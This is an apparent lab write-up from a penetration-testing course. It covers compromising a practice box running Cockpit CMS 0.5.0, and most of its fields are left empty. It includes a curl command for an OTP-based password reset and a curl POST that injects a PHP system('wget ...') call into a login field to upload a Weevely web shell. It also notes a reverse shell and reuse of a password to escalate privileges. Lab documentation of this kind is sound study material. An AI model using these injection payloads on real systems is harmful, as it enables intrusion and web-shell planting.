> For the complete documentation index, see [llms.txt](https://paul-gleason.gitbook.io/sec-335-eth.-hacking-and-pen.-testing/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://paul-gleason.gitbook.io/sec-335-eth.-hacking-and-pen.-testing/labs/final-bree.md).
# Final: Bree
IP Address:
Services:
Exploits:
Webpage:
Had to change host file:
Now webpage is: Cockpit version is 0.5.0
Cockpit exploit 50185.py:
Users Found: admin, barliman, strider
Reset Password:
Nothing can be found inside the web ui:
Now trying exploit 49390.txt: Format was found here:
```bash
RESULT=$(curl $OTP_URL \
-H 'Content-Type: application/json' \
--data-raw "{\"email\":\"$EMAIL\",\"otp\":\"$OTP\", \"password\":\"$NEW_PWD\"}"
```
Making Weevely and uploading:
{% code overflow="wrap" %}
```bash
curl -X POST -H "Content-Type: application/json; charset=UTF-9" -d "{\"auth\":{\"user\":\"barliman'.system('wget https://:/').'\",\"password\":\"b\"}}" http://bree.shire.org/auth/check
```
{% endcode %}
Reverse Shell:
Privilege Escalation: Password was reused from the bios.shire.org box
Flags:
